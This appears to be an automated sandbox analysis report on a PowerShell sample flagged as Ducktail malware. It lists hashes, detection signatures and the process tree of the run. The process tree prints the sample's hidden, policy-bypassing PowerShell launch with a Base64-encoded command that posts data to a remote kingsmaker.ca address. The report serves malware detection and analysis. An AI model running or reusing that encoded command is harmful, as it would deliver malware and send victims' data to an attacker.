Edit tour
Windows
Analysis Report
kingsmaker_6.ca.ps1
Overview
General Information
| Sample name: | kingsmaker_6.ca.ps1 |
| Analysis ID: | 1565058 |
| MD5: | 5705390f445a1b38b4c19461d81a9237 |
| SHA1: | fa9112a883c4fc8e4eb0b425e2c7462c6fee3877 |
| SHA256: | 2a5101990c3fbe7274c5bf8bd72ba0f2c1d839eac121858602843f7702728015 |
| Infos: |   |
 | |
Detection
Ducktail
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Yara detected Ducktail
Allows multiple concurrent remote connection
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Modifies security policies related information
Potential dropper URLs found in powershell memory
Powershell drops PE file
Queries memory information (via WMI often done to detect virtual machines)
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Base64 Encoded Invoke Keyword
Sigma detected: PowerShell Base64 Encoded WMI Classes
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious New Service Creation
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Uses known network protocols on non-standard ports
Uses regedit.exe to modify the Windows registry
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
PE file contains strange resources
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64native
powershell.exe (PID: 3620 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\kin gsmaker_6. ca.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 2896 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
csc.exe (PID: 6124 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\lgpiik lc\lgpiikl c.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 6280 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESBEED.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\lgp iiklc\CSCC B9B20FB8C5 4707B662B6 84DAE4C90. TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 7896 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Version 5 .1 -s -NoL ogo -NoPro file MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 1100 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) 
AcroRd32.exe (PID: 8264 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" " C:\Users\u ser\AppDat a\Local\Te mp\Company Booklet.p df" MD5: 0F4FB7ADA3C27236864D008A1687AD8D) 
RdrCEF.exe (PID: 8548 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroC EF\RdrCEF. exe" --bac kgroundcol or=1677721 5 MD5: 35AF5C1FA6FAC9569BB3FF6654A7152E) - RdrCEF.exe (PID: 8724 cmdline:
"C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroC EF\RdrCEF. exe" --typ e=utility --utility- sub-type=n etwork.moj om.Network Service -- lang=en-US --service -sandbox-t ype=none - -log-sever ity=disabl e --user-a gent-produ ct="Reader Services/2 3.3.20269 Chrome/105 .0.0.0" -- lang=en-US --user-da ta-dir="C: \Users\use r\AppData\ Local\CEF\ User Data" --log-fil e="C:\Prog ram Files (x86)\Adob e\Acrobat Reader DC\ Reader\Acr oCEF\debug .log" --mo jo-platfor m-channel- handle=222 4 --field- trial-hand le=1636,i, 4139433032 823036426, 1260113175 703247658, 131072 --d isable-fea tures=Back ForwardCac he,Calcula teNativeWi nOcclusion ,WinUseBro wserSpellC hecker /pr efetch:8 MD5: 35AF5C1FA6FAC9569BB3FF6654A7152E) - cmd.exe (PID: 7160 cmdline:
"C:\Window s\system32 \cmd.exe" /c start / min "" pow ershell.ex e -WindowS tyle hidde n -NoLogo -NoProfile -Executio nPolicy by pass -Enco dedCommand JAB1AHIAa QAgAD0AIAA iAGgAdAB0A HAAcwA6AC8 ALwBrAGkAb gBnAHMAbQB hAGsAZQByA C4AYwBhAC8 AZgBpAGwAZ QAyAC8AOQB hAGUAYQA4A GIAZgA4ADM AMwBjADgAN wA3ADAAOQA 1ADkAZABiA DcAYwA3ADI AOABmADQAY wBjAGQAYwB mAGMAOABmA DQAZQA5ADM AMABhAGYAN ABkAGQANAA 0AGUANgA1A DIAMQAzAGI AOQBiADQAY QA0ADcAOAB lADUAZgA4A DYAZABjADE AMQA5AGEAM AA4ADEAMAA xADkANABhA DkAMAA4ADc ANAA0ADAAY gA3ADkAMAA zADgAMgBlA GIANwAxADE ANQBhADkAZ AA2AGEAMwA zAGIAYwAwA DIAMAAyADg AZQA1ADUAN gA3ADgAYQB iAGUAMAAyA GEAZAA0ADU AZAA0ADgAZ QA5AGEAZgB hADkAMwBhA GYAOAAzADc ANQAzADEAZ QAzADUAYgA xAGMAOAA4A GUANgBiAGY AYwBhAGYAY QAyADcAZAA 4ADIAZQBlA DIANAA0ADI AMAAzAGIAO AA2AGEANgA 1ADAAYQBjA GYAMwAzADQ ANgAwADYAN wA2AGUAMQA 5AGUANABkA DUAMABjAGM AYgBmADcAY gA3ADkANQA 1ADcANQBiA DQAOAAxAGU AYwA0AGQAN AAzACIAOwA NAAoAJABjA G8AdQBuAHQ AIAA9ACAAM QAwADAAOwA NAAoADQAKA A0ACgANAAo AZgB1AG4AY wB0AGkAbwB uACAAUwBlA G4AZAAgAHs ADQAKACAAI AAgACAAcAB hAHIAYQBtA CgAIABbAFA AUwBPAGIAa gBlAGMAdAB dACAAJABsA G8AZwBNAHM AZwAgACkAD QAKAA0ACgA gACAAIAAgA CMAIABDAG8 AbgB2AGUAc gB0ACAAYgB vAGQAeQAgA HQAbwAgAHM AdAByAGkAb gBnAA0ACgA gACAAIAAgA CQAcwB0AHI AaQBuAGcAQ gBvAGQAeQA gAD0AIABbA HMAdAByAGk AbgBnAF0AK AAkAGwAbwB nAE0AcwBnA CAAfAAgAEM AbwBuAHYAZ QByAHQAVAB vAC0ASgBzA G8AbgApADs ADQAKACAAI AAgACAAJAB sAG8AZwBNA GUAcwBzAGE AZwBlAHMAI AA9ACAAQAA oACkAOwANA AoAIAAgACA AIAAkAGwAb wBnAE0AZQB zAHMAYQBnA GUAcwAgACs APQAgACQAc wB0AHIAaQB uAGcAQgBvA GQAeQA7AA0 ACgAgACAAI AAgACQAbAB vAGcATQBlA HMAcwBhAGc AZQBzACAAK wA9ACAAIgA tAC0ALQAtA C0ALQAtAC0 ALQAtACIAO wANAAoADQA KACAAIAAgA CAAJABoAGU AYQBkAGUAc gBzACAAPQA gAEAAewB9A DsADQAKACA AIAAgACAAJ ABrAGUAeQA gAD0AIAAiA EMAbwBuAHQ AZQBuAHQAL QBUAHkAcAB lACIAOwANA AoAIAAgACA AIAAkAHYAY QBsAHUAZQA gAD0AIAAiA GEAcABwAGw AaQBjAGEAd ABpAG8AbgA vAGoAcwBvA G4AIgA7AA0 ACgANAAoAI AAgACAAIAA kAGgAZQBhA GQAZQByAHM AWwAkAGsAZ QB5AF0AIAA 9ACAAJAB2A GEAbAB1AGU AOwANAAoAI AAgACAAIAA kAHUAcgBpA CAAPQAgACI ATABPAEcAV QBSAEwAIgA 7AA0ACgAgA CAAIAAgAHQ AcgB5AA0AC gAgACAAIAA gACAAIAAgA CAAewANAAo AIAAgACAAI AAgACAAIAA gACAAIAAgA CAAJABiAG8 AZAB5ACAAP QAgACQAbAB vAGcATQBlA HMAcwBhAGc AZQBzACAAf AAgAEMAbwB uAHYAZQByA HQAVABvAC0 ASgBzAG8Ab gA7AA0ACgA gACAAIAAgA CAAIAAgACA AIAAgACAAI ABJAG4AdgB vAGsAZQAtA FcAZQBiAFI AZQBxAHUAZ QBzAHQAIAA tAFUAcgBpA CAAJAB1AHI AaQAgAC0AT QBlAHQAaAB vAGQAIABQA G8AcwB0ACA ALQBIAGUAY QBkAGUAcgB zACAAJABoA GUAYQBkAGU AcgBzACAAL QBCAG8AZAB 5ACAAJABiA G8AZAB5AA0 ACgAgACAAI AAgACAAIAA gACAAfQANA AoAIAAgACA AIAAgACAAI AAgAGMAYQB 0AGMAaAB7A A0ACgAgACA AIAAgACAAI AAgACAAIAA gACAAIAANA AoAIAAgACA AIAAgACAAI AAgAH0ADQA KACAAIAAgA CAADQAKAH0